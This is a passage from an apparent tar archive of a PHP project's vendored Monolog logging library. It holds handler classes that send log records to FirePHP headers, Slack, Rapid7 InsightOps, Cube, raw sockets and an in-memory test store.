$record['formatted'], [$record]); } protected function getHighestRecord(array $records): array { $highestRecord = null; foreach ($records as $record) { if ($highestRecord === null || $highestRecord['level'] < $record['level']) { $highestRecord = $record; } } return $highestRecord; } protected function isHtmlBody(string $body): bool { return substr($body, 0, 1) === '<'; } /** * Gets the default formatter. * * @return FormatterInterface */ protected function getDefaultFormatter(): FormatterInterface { return new HtmlFormatter(); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/FirePHPHandler.php��������������������������������0000644�����������������00000011441�15154650146�0021505 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\WildfireFormatter; use Monolog\Formatter\FormatterInterface; /** * Simple FirePHP Handler (http://www.firephp.org/), which uses the Wildfire protocol. * * @author Eric Clemmons (@ericclemmons) <eric@uxdriven.com> */ class FirePHPHandler extends AbstractProcessingHandler { use WebRequestRecognizerTrait; /** * WildFire JSON header message format */ protected const PROTOCOL_URI = 'http://meta.wildfirehq.org/Protocol/JsonStream/0.2'; /** * FirePHP structure for parsing messages & their presentation */ protected const STRUCTURE_URI = 'http://meta.firephp.org/Wildfire/Structure/FirePHP/FirebugConsole/0.1'; /** * Must reference a "known" plugin, otherwise headers won't display in FirePHP */ protected const PLUGIN_URI = 'http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3'; /** * Header prefix for Wildfire to recognize & parse headers */ protected const HEADER_PREFIX = 'X-Wf'; /** * Whether or not Wildfire vendor-specific headers have been generated & sent yet */ protected static $initialized = false; /** * Shared static message index between potentially multiple handlers * @var int */ protected static $messageIndex = 1; protected static $sendHeaders = true; /** * Base header creation function used by init headers & record headers * * @param array $meta Wildfire Plugin, Protocol & Structure Indexes * @param string $message Log message * @return array Complete header string ready for the client as key and message as value */ protected function createHeader(array $meta, string $message): array { $header = sprintf('%s-%s', static::HEADER_PREFIX, join('-', $meta)); return [$header => $message]; } /** * Creates message header from record * * @see createHeader() */ protected function createRecordHeader(array $record): array { // Wildfire is extensible to support multiple protocols & plugins in a single request, // but we're not taking advantage of that (yet), so we're using "1" for simplicity's sake. return $this->createHeader( [1, 1, 1, self::$messageIndex++], $record['formatted'] ); } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new WildfireFormatter(); } /** * Wildfire initialization headers to enable message parsing * * @see createHeader() * @see sendHeader() */ protected function getInitHeaders(): array { // Initial payload consists of required headers for Wildfire return array_merge( $this->createHeader(['Protocol', 1], static::PROTOCOL_URI), $this->createHeader([1, 'Structure', 1], static::STRUCTURE_URI), $this->createHeader([1, 'Plugin', 1], static::PLUGIN_URI) ); } /** * Send header string to the client */ protected function sendHeader(string $header, string $content): void { if (!headers_sent() && self::$sendHeaders) { header(sprintf('%s: %s', $header, $content)); } } /** * Creates & sends header for a record, ensuring init headers have been sent prior * * @see sendHeader() * @see sendInitHeaders() * @param array $record */ protected function write(array $record): void { if (!self::$sendHeaders || !$this->isWebRequest()) { return; } // WildFire-specific headers must be sent prior to any messages if (!self::$initialized) { self::$initialized = true; self::$sendHeaders = $this->headersAccepted(); if (!self::$sendHeaders) { return; } foreach ($this->getInitHeaders() as $header => $content) { $this->sendHeader($header, $content); } } $header = $this->createRecordHeader($record); if (trim(current($header)) !== '') { $this->sendHeader(key($header), current($header)); } } /** * Verifies if the headers are accepted by the current user agent */ protected function headersAccepted(): bool { if (!empty($_SERVER['HTTP_USER_AGENT']) && preg_match('{\bFirePHP/\d+\.\d+\b}', $_SERVER['HTTP_USER_AGENT'])) { return true; } return isset($_SERVER['HTTP_X_FIREPHP_VERSION']); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/ProcessableHandlerTrait.php�����������������������0000644�����������������00000002726�15154650146�0023524 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\ResettableInterface; /** * Helper trait for implementing ProcessableInterface * * @author Jordi Boggiano <j.boggiano@seld.be> */ trait ProcessableHandlerTrait { /** * @var callable[] */ protected $processors = []; /** * {@inheritdoc} */ public function pushProcessor(callable $callback): HandlerInterface { array_unshift($this->processors, $callback); return $this; } /** * {@inheritdoc} */ public function popProcessor(): callable { if (!$this->processors) { throw new \LogicException('You tried to pop from an empty processor stack.'); } return array_shift($this->processors); } /** * Processes a record. */ protected function processRecord(array $record): array { foreach ($this->processors as $processor) { $record = $processor($record); } return $record; } protected function resetProcessors(): void { foreach ($this->processors as $processor) { if ($processor instanceof ResettableInterface) { $processor->reset(); } } } } ������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/AbstractProcessingHandler.php���������������������0000644�����������������00000002631�15154650146�0024051 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * Base Handler class providing the Handler structure, including processors and formatters * * Classes extending it should (in most cases) only implement write($record) * * @author Jordi Boggiano <j.boggiano@seld.be> * @author Christophe Coevoet <stof@notk.org> */ abstract class AbstractProcessingHandler extends AbstractHandler implements ProcessableHandlerInterface, FormattableHandlerInterface { use ProcessableHandlerTrait; use FormattableHandlerTrait; /** * {@inheritdoc} */ public function handle(array $record): bool { if (!$this->isHandling($record)) { return false; } if ($this->processors) { $record = $this->processRecord($record); } $record['formatted'] = $this->getFormatter()->format($record); $this->write($record); return false === $this->bubble; } /** * Writes the record down to the log of the implementing handler */ abstract protected function write(array $record): void; public function reset() { parent::reset(); $this->resetProcessors(); } } �������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/SlackWebhookHandler.php���������������������������0000644�����������������00000007675�15154650146�0022642 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; use Monolog\Utils; use Monolog\Handler\Slack\SlackRecord; /** * Sends notifications through Slack Webhooks * * @author Haralan Dobrev <hkdobrev@gmail.com> * @see https://api.slack.com/incoming-webhooks */ class SlackWebhookHandler extends AbstractProcessingHandler { /** * Slack Webhook token * @var string */ private $webhookUrl; /** * Instance of the SlackRecord util class preparing data for Slack API. * @var SlackRecord */ private $slackRecord; /** * @param string $webhookUrl Slack Webhook URL * @param string|null $channel Slack channel (encoded ID or name) * @param string|null $username Name of a bot * @param bool $useAttachment Whether the message should be added to Slack as attachment (plain text otherwise) * @param string|null $iconEmoji The emoji name to use (or null) * @param bool $useShortAttachment Whether the the context/extra messages added to Slack as attachments are in a short style * @param bool $includeContextAndExtra Whether the attachment should include context and extra data * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param array $excludeFields Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2'] */ public function __construct( string $webhookUrl, ?string $channel = null, ?string $username = null, bool $useAttachment = true, ?string $iconEmoji = null, bool $useShortAttachment = false, bool $includeContextAndExtra = false, $level = Logger::CRITICAL, bool $bubble = true, array $excludeFields = array() ) { parent::__construct($level, $bubble); $this->webhookUrl = $webhookUrl; $this->slackRecord = new SlackRecord( $channel, $username, $useAttachment, $iconEmoji, $useShortAttachment, $includeContextAndExtra, $excludeFields ); } public function getSlackRecord(): SlackRecord { return $this->slackRecord; } public function getWebhookUrl(): string { return $this->webhookUrl; } /** * {@inheritdoc} * * @param array $record */ protected function write(array $record): void { $postData = $this->slackRecord->getSlackData($record); $postString = Utils::jsonEncode($postData); $ch = curl_init(); $options = array( CURLOPT_URL => $this->webhookUrl, CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => array('Content-type: application/json'), CURLOPT_POSTFIELDS => $postString, ); if (defined('CURLOPT_SAFE_UPLOAD')) { $options[CURLOPT_SAFE_UPLOAD] = true; } curl_setopt_array($ch, $options); Curl\Util::execute($ch); } public function setFormatter(FormatterInterface $formatter): HandlerInterface { parent::setFormatter($formatter); $this->slackRecord->setFormatter($formatter); return $this; } public function getFormatter(): FormatterInterface { $formatter = parent::getFormatter(); $this->slackRecord->setFormatter($formatter); return $formatter; } } �������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/InsightOpsHandler.php�����������������������������0000644�����������������00000003547�15154650146�0022347 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * Inspired on LogEntriesHandler. * * @author Robert Kaufmann III <rok3@rok3.me> * @author Gabriel Machado <gabriel.ms1@hotmail.com> */ class InsightOpsHandler extends SocketHandler { /** * @var string */ protected $logToken; /** * @param string $token Log token supplied by InsightOps * @param string $region Region where InsightOps account is hosted. Could be 'us' or 'eu'. * @param bool $useSSL Whether or not SSL encryption should be used * @param string|int $level The minimum logging level to trigger this handler * @param bool $bubble Whether or not messages that are handled should bubble up the stack. * * @throws MissingExtensionException If SSL encryption is set to true and OpenSSL is missing */ public function __construct(string $token, string $region = 'us', bool $useSSL = true, $level = Logger::DEBUG, bool $bubble = true) { if ($useSSL && !extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP plugin is required to use SSL encrypted connection for InsightOpsHandler'); } $endpoint = $useSSL ? 'ssl://' . $region . '.data.logs.insight.rapid7.com:443' : $region . '.data.logs.insight.rapid7.com:80'; parent::__construct($endpoint, $level, $bubble); $this->logToken = $token; } /** * {@inheritdoc} */ protected function generateDataStream(array $record): string { return $this->logToken . ' ' . $record['formatted']; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/SocketHandler.php���������������������������������0000644�����������������00000023326�15154650146�0021505 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * Stores to any socket - uses fsockopen() or pfsockopen(). * * @author Pablo de Leon Belloc <pablolb@gmail.com> * @see http://php.net/manual/en/function.fsockopen.php */ class SocketHandler extends AbstractProcessingHandler { private $connectionString; private $connectionTimeout; /** @var resource|null */ private $resource; /** @var float */ private $timeout = 0.0; /** @var float */ private $writingTimeout = 10.0; private $lastSentBytes = null; /** @var int */ private $chunkSize = null; private $persistent = false; private $errno; private $errstr; /** @var ?float */ private $lastWritingAt; /** * @param string $connectionString Socket connection string * @param int|string $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(string $connectionString, $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); $this->connectionString = $connectionString; $this->connectionTimeout = (float) ini_get('default_socket_timeout'); } /** * Connect (if necessary) and write to the socket * * @param array $record * * @throws \UnexpectedValueException * @throws \RuntimeException */ protected function write(array $record): void { $this->connectIfNotConnected(); $data = $this->generateDataStream($record); $this->writeToSocket($data); } /** * We will not close a PersistentSocket instance so it can be reused in other requests. */ public function close(): void { if (!$this->isPersistent()) { $this->closeSocket(); } } /** * Close socket, if open */ public function closeSocket(): void { if (is_resource($this->resource)) { fclose($this->resource); $this->resource = null; } } /** * Set socket connection to be persistent. It only has effect before the connection is initiated. */ public function setPersistent(bool $persistent): self { $this->persistent = $persistent; return $this; } /** * Set connection timeout. Only has effect before we connect. * * @see http://php.net/manual/en/function.fsockopen.php */ public function setConnectionTimeout(float $seconds): self { $this->validateTimeout($seconds); $this->connectionTimeout = $seconds; return $this; } /** * Set write timeout. Only has effect before we connect. * * @see http://php.net/manual/en/function.stream-set-timeout.php */ public function setTimeout(float $seconds): self { $this->validateTimeout($seconds); $this->timeout = $seconds; return $this; } /** * Set writing timeout. Only has effect during connection in the writing cycle. * * @param float $seconds 0 for no timeout */ public function setWritingTimeout(float $seconds): self { $this->validateTimeout($seconds); $this->writingTimeout = $seconds; return $this; } /** * Set chunk size. Only has effect during connection in the writing cycle. */ public function setChunkSize(int $bytes): self { $this->chunkSize = $bytes; return $this; } /** * Get current connection string */ public function getConnectionString(): string { return $this->connectionString; } /** * Get persistent setting */ public function isPersistent(): bool { return $this->persistent; } /** * Get current connection timeout setting */ public function getConnectionTimeout(): float { return $this->connectionTimeout; } /** * Get current in-transfer timeout */ public function getTimeout(): float { return $this->timeout; } /** * Get current local writing timeout * * @return float */ public function getWritingTimeout(): float { return $this->writingTimeout; } /** * Get current chunk size */ public function getChunkSize(): int { return $this->chunkSize; } /** * Check to see if the socket is currently available. * * UDP might appear to be connected but might fail when writing. See http://php.net/fsockopen for details. */ public function isConnected(): bool { return is_resource($this->resource) && !feof($this->resource); // on TCP - other party can close connection. } /** * Wrapper to allow mocking */ protected function pfsockopen() { return @pfsockopen($this->connectionString, -1, $this->errno, $this->errstr, $this->connectionTimeout); } /** * Wrapper to allow mocking */ protected function fsockopen() { return @fsockopen($this->connectionString, -1, $this->errno, $this->errstr, $this->connectionTimeout); } /** * Wrapper to allow mocking * * @see http://php.net/manual/en/function.stream-set-timeout.php */ protected function streamSetTimeout() { $seconds = floor($this->timeout); $microseconds = round(($this->timeout - $seconds) * 1e6); return stream_set_timeout($this->resource, (int) $seconds, (int) $microseconds); } /** * Wrapper to allow mocking * * @see http://php.net/manual/en/function.stream-set-chunk-size.php */ protected function streamSetChunkSize() { return stream_set_chunk_size($this->resource, $this->chunkSize); } /** * Wrapper to allow mocking */ protected function fwrite($data) { return @fwrite($this->resource, $data); } /** * Wrapper to allow mocking */ protected function streamGetMetadata() { return stream_get_meta_data($this->resource); } private function validateTimeout($value) { $ok = filter_var($value, FILTER_VALIDATE_FLOAT); if ($ok === false || $value < 0) { throw new \InvalidArgumentException("Timeout must be 0 or a positive float (got $value)"); } } private function connectIfNotConnected() { if ($this->isConnected()) { return; } $this->connect(); } protected function generateDataStream(array $record): string { return (string) $record['formatted']; } /** * @return resource|null */ protected function getResource() { return $this->resource; } private function connect(): void { $this->createSocketResource(); $this->setSocketTimeout(); $this->setStreamChunkSize(); } private function createSocketResource(): void { if ($this->isPersistent()) { $resource = $this->pfsockopen(); } else { $resource = $this->fsockopen(); } if (!$resource) { throw new \UnexpectedValueException("Failed connecting to $this->connectionString ($this->errno: $this->errstr)"); } $this->resource = $resource; } private function setSocketTimeout(): void { if (!$this->streamSetTimeout()) { throw new \UnexpectedValueException("Failed setting timeout with stream_set_timeout()"); } } private function setStreamChunkSize(): void { if ($this->chunkSize && !$this->streamSetChunkSize()) { throw new \UnexpectedValueException("Failed setting chunk size with stream_set_chunk_size()"); } } private function writeToSocket(string $data): void { $length = strlen($data); $sent = 0; $this->lastSentBytes = $sent; while ($this->isConnected() && $sent < $length) { if (0 == $sent) { $chunk = $this->fwrite($data); } else { $chunk = $this->fwrite(substr($data, $sent)); } if ($chunk === false) { throw new \RuntimeException("Could not write to socket"); } $sent += $chunk; $socketInfo = $this->streamGetMetadata(); if ($socketInfo['timed_out']) { throw new \RuntimeException("Write timed-out"); } if ($this->writingIsTimedOut($sent)) { throw new \RuntimeException("Write timed-out, no data sent for `{$this->writingTimeout}` seconds, probably we got disconnected (sent $sent of $length)"); } } if (!$this->isConnected() && $sent < $length) { throw new \RuntimeException("End-of-file reached, probably we got disconnected (sent $sent of $length)"); } } private function writingIsTimedOut(int $sent): bool { // convert to ms if (0.0 == $this->writingTimeout) { return false; } if ($sent !== $this->lastSentBytes) { $this->lastWritingAt = microtime(true); $this->lastSentBytes = $sent; return false; } else { usleep(100); } if ((microtime(true) - $this->lastWritingAt) >= $this->writingTimeout) { $this->closeSocket(); return true; } return false; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/TestHandler.php�����������������������������������0000644�����������������00000013206�15154650146�0021170 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * Used for testing purposes. * * It records all records and gives you access to them for verification. * * @author Jordi Boggiano <j.boggiano@seld.be> * * @method bool hasEmergency($record) * @method bool hasAlert($record) * @method bool hasCritical($record) * @method bool hasError($record) * @method bool hasWarning($record) * @method bool hasNotice($record) * @method bool hasInfo($record) * @method bool hasDebug($record) * * @method bool hasEmergencyRecords() * @method bool hasAlertRecords() * @method bool hasCriticalRecords() * @method bool hasErrorRecords() * @method bool hasWarningRecords() * @method bool hasNoticeRecords() * @method bool hasInfoRecords() * @method bool hasDebugRecords() * * @method bool hasEmergencyThatContains($message) * @method bool hasAlertThatContains($message) * @method bool hasCriticalThatContains($message) * @method bool hasErrorThatContains($message) * @method bool hasWarningThatContains($message) * @method bool hasNoticeThatContains($message) * @method bool hasInfoThatContains($message) * @method bool hasDebugThatContains($message) * * @method bool hasEmergencyThatMatches($message) * @method bool hasAlertThatMatches($message) * @method bool hasCriticalThatMatches($message) * @method bool hasErrorThatMatches($message) * @method bool hasWarningThatMatches($message) * @method bool hasNoticeThatMatches($message) * @method bool hasInfoThatMatches($message) * @method bool hasDebugThatMatches($message) * * @method bool hasEmergencyThatPasses($message) * @method bool hasAlertThatPasses($message) * @method bool hasCriticalThatPasses($message) * @method bool hasErrorThatPasses($message) * @method bool hasWarningThatPasses($message) * @method bool hasNoticeThatPasses($message) * @method bool hasInfoThatPasses($message) * @method bool hasDebugThatPasses($message) */ class TestHandler extends AbstractProcessingHandler { protected $records = []; protected $recordsByLevel = []; private $skipReset = false; public function getRecords() { return $this->records; } public function clear() { $this->records = []; $this->recordsByLevel = []; } public function reset() { if (!$this->skipReset) { $this->clear(); } } public function setSkipReset(bool $skipReset) { $this->skipReset = $skipReset; } /** * @param string|int $level Logging level value or name */ public function hasRecords($level): bool { return isset($this->recordsByLevel[Logger::toMonologLevel($level)]); } /** * @param string|array $record Either a message string or an array containing message and optionally context keys that will be checked against all records * @param string|int $level Logging level value or name */ public function hasRecord($record, $level): bool { if (is_string($record)) { $record = array('message' => $record); } return $this->hasRecordThatPasses(function ($rec) use ($record) { if ($rec['message'] !== $record['message']) { return false; } if (isset($record['context']) && $rec['context'] !== $record['context']) { return false; } return true; }, $level); } /** * @param string|int $level Logging level value or name */ public function hasRecordThatContains(string $message, $level): bool { return $this->hasRecordThatPasses(function ($rec) use ($message) { return strpos($rec['message'], $message) !== false; }, $level); } /** * @param string|int $level Logging level value or name */ public function hasRecordThatMatches(string $regex, $level): bool { return $this->hasRecordThatPasses(function (array $rec) use ($regex): bool { return preg_match($regex, $rec['message']) > 0; }, $level); } /** * @psalm-param callable(array, int): mixed $predicate * * @param string|int $level Logging level value or name * @return bool */ public function hasRecordThatPasses(callable $predicate, $level) { $level = Logger::toMonologLevel($level); if (!isset($this->recordsByLevel[$level])) { return false; } foreach ($this->recordsByLevel[$level] as $i => $rec) { if ($predicate($rec, $i)) { return true; } } return false; } /** * {@inheritdoc} */ protected function write(array $record): void { $this->recordsByLevel[$record['level']][] = $record; $this->records[] = $record; } public function __call($method, $args) { if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) { $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3]; $level = constant('Monolog\Logger::' . strtoupper($matches[2])); if (method_exists($this, $genericMethod)) { $args[] = $level; return call_user_func_array([$this, $genericMethod], $args); } } throw new \BadMethodCallException('Call to undefined method ' . get_class($this) . '::' . $method . '()'); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/SlackHandler.php����������������������������������0000644�����������������00000015010�15154650146�0021301 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; use Monolog\Utils; use Monolog\Handler\Slack\SlackRecord; /** * Sends notifications through Slack API * * @author Greg Kedzierski <greg@gregkedzierski.com> * @see https://api.slack.com/ */ class SlackHandler extends SocketHandler { /** * Slack API token * @var string */ private $token; /** * Instance of the SlackRecord util class preparing data for Slack API. * @var SlackRecord */ private $slackRecord; /** * @param string $token Slack API token * @param string $channel Slack channel (encoded ID or name) * @param string|null $username Name of a bot * @param bool $useAttachment Whether the message should be added to Slack as attachment (plain text otherwise) * @param string|null $iconEmoji The emoji name to use (or null) * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $useShortAttachment Whether the context/extra messages added to Slack as attachments are in a short style * @param bool $includeContextAndExtra Whether the attachment should include context and extra data * @param array $excludeFields Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2'] * @throws MissingExtensionException If no OpenSSL PHP extension configured */ public function __construct( string $token, string $channel, ?string $username = null, bool $useAttachment = true, ?string $iconEmoji = null, $level = Logger::CRITICAL, bool $bubble = true, bool $useShortAttachment = false, bool $includeContextAndExtra = false, array $excludeFields = array() ) { if (!extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP extension is required to use the SlackHandler'); } parent::__construct('ssl://slack.com:443', $level, $bubble); $this->slackRecord = new SlackRecord( $channel, $username, $useAttachment, $iconEmoji, $useShortAttachment, $includeContextAndExtra, $excludeFields ); $this->token = $token; } public function getSlackRecord(): SlackRecord { return $this->slackRecord; } public function getToken(): string { return $this->token; } /** * {@inheritdoc} */ protected function generateDataStream(array $record): string { $content = $this->buildContent($record); return $this->buildHeader($content) . $content; } /** * Builds the body of API call */ private function buildContent(array $record): string { $dataArray = $this->prepareContentData($record); return http_build_query($dataArray); } protected function prepareContentData(array $record): array { $dataArray = $this->slackRecord->getSlackData($record); $dataArray['token'] = $this->token; if (!empty($dataArray['attachments'])) { $dataArray['attachments'] = Utils::jsonEncode($dataArray['attachments']); } return $dataArray; } /** * Builds the header of the API Call */ private function buildHeader(string $content): string { $header = "POST /api/chat.postMessage HTTP/1.1\r\n"; $header .= "Host: slack.com\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen($content) . "\r\n"; $header .= "\r\n"; return $header; } /** * {@inheritdoc} */ protected function write(array $record): void { parent::write($record); $this->finalizeWrite(); } /** * Finalizes the request by reading some bytes and then closing the socket * * If we do not read some but close the socket too early, slack sometimes * drops the request entirely. */ protected function finalizeWrite(): void { $res = $this->getResource(); if (is_resource($res)) { @fread($res, 2048); } $this->closeSocket(); } public function setFormatter(FormatterInterface $formatter): HandlerInterface { parent::setFormatter($formatter); $this->slackRecord->setFormatter($formatter); return $this; } public function getFormatter(): FormatterInterface { $formatter = parent::getFormatter(); $this->slackRecord->setFormatter($formatter); return $formatter; } /** * Channel used by the bot when posting */ public function setChannel(string $channel): self { $this->slackRecord->setChannel($channel); return $this; } /** * Username used by the bot when posting */ public function setUsername(string $username): self { $this->slackRecord->setUsername($username); return $this; } public function useAttachment(bool $useAttachment): self { $this->slackRecord->useAttachment($useAttachment); return $this; } public function setIconEmoji(string $iconEmoji): self { $this->slackRecord->setUserIcon($iconEmoji); return $this; } public function useShortAttachment(bool $useShortAttachment): self { $this->slackRecord->useShortAttachment($useShortAttachment); return $this; } public function includeContextAndExtra(bool $includeContextAndExtra): self { $this->slackRecord->includeContextAndExtra($includeContextAndExtra); return $this; } public function excludeFields(array $excludeFields): self { $this->slackRecord->excludeFields($excludeFields); return $this; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/CubeHandler.php�����������������������������������0000644�����������������00000011361�15154650146�0021127 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; /** * Logs to Cube. * * @link http://square.github.com/cube/ * @author Wan Chen <kami@kamisama.me> */ class CubeHandler extends AbstractProcessingHandler { private $udpConnection; private $httpConnection; private $scheme; private $host; private $port; private $acceptedSchemes = ['http', 'udp']; /** * Create a Cube handler * * @throws \UnexpectedValueException when given url is not a valid url. * A valid url must consist of three parts : protocol://host:port * Only valid protocols used by Cube are http and udp */ public function __construct(string $url, $level = Logger::DEBUG, bool $bubble = true) { $urlInfo = parse_url($url); if (!isset($urlInfo['scheme'], $urlInfo['host'], $urlInfo['port'])) { throw new \UnexpectedValueException('URL "'.$url.'" is not valid'); } if (!in_array($urlInfo['scheme'], $this->acceptedSchemes)) { throw new \UnexpectedValueException( 'Invalid protocol (' . $urlInfo['scheme'] . ').' . ' Valid options are ' . implode(', ', $this->acceptedSchemes) ); } $this->scheme = $urlInfo['scheme']; $this->host = $urlInfo['host']; $this->port = $urlInfo['port']; parent::__construct($level, $bubble); } /** * Establish a connection to an UDP socket * * @throws \LogicException when unable to connect to the socket * @throws MissingExtensionException when there is no socket extension */ protected function connectUdp(): void { if (!extension_loaded('sockets')) { throw new MissingExtensionException('The sockets extension is required to use udp URLs with the CubeHandler'); } $this->udpConnection = socket_create(AF_INET, SOCK_DGRAM, 0); if (!$this->udpConnection) { throw new \LogicException('Unable to create a socket'); } if (!socket_connect($this->udpConnection, $this->host, $this->port)) { throw new \LogicException('Unable to connect to the socket at ' . $this->host . ':' . $this->port); } } /** * Establish a connection to an http server * * @throws \LogicException when unable to connect to the socket * @throws MissingExtensionException when no curl extension */ protected function connectHttp(): void { if (!extension_loaded('curl')) { throw new MissingExtensionException('The curl extension is required to use http URLs with the CubeHandler'); } $this->httpConnection = curl_init('http://'.$this->host.':'.$this->port.'/1.0/event/put'); if (!$this->httpConnection) { throw new \LogicException('Unable to connect to ' . $this->host . ':' . $this->port); } curl_setopt($this->httpConnection, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($this->httpConnection, CURLOPT_RETURNTRANSFER, true); } /** * {@inheritdoc} */ protected function write(array $record): void { $date = $record['datetime']; $data = ['time' => $date->format('Y-m-d\TH:i:s.uO')]; unset($record['datetime']); if (isset($record['context']['type'])) { $data['type'] = $record['context']['type']; unset($record['context']['type']); } else { $data['type'] = $record['channel']; } $data['data'] = $record['context']; $data['data']['level'] = $record['level']; if ($this->scheme === 'http') { $this->writeHttp(Utils::jsonEncode($data)); } else { $this->writeUdp(Utils::jsonEncode($data)); } } private function writeUdp(string $data): void { if (!$this->udpConnection) { $this->connectUdp(); } socket_send($this->udpConnection, $data, strlen($data), 0); } private function writeHttp(string $data): void { if (!$this->httpConnection) { $this->connectHttp(); } curl_setopt($this->httpConnection, CURLOPT_POSTFIELDS, '['.$data.']'); curl_setopt($this->httpConnection, CURLOPT_HTTPHEADER, [ 'Content-Type: application/json', 'Content-Length: ' . strlen('['.$data.']'), ]); Curl\Util::execute($this->httpConnection, 5, false); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Handler/BufferHandler.php���������������������������������0000644�����������������00000011102�15154650146�0021453 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\ResettableInterface; use Monolog\Formatter\FormatterInterface; /** * Buffers all records until closing the handler and then pass them as batch. * * This is useful for a MailHandler to send only one mail per request instead of * sending one per log message. * * @author Christophe Coevoet <stof@notk.org> */ class BufferHandler extends AbstractHandler implements ProcessableHandlerInterface, 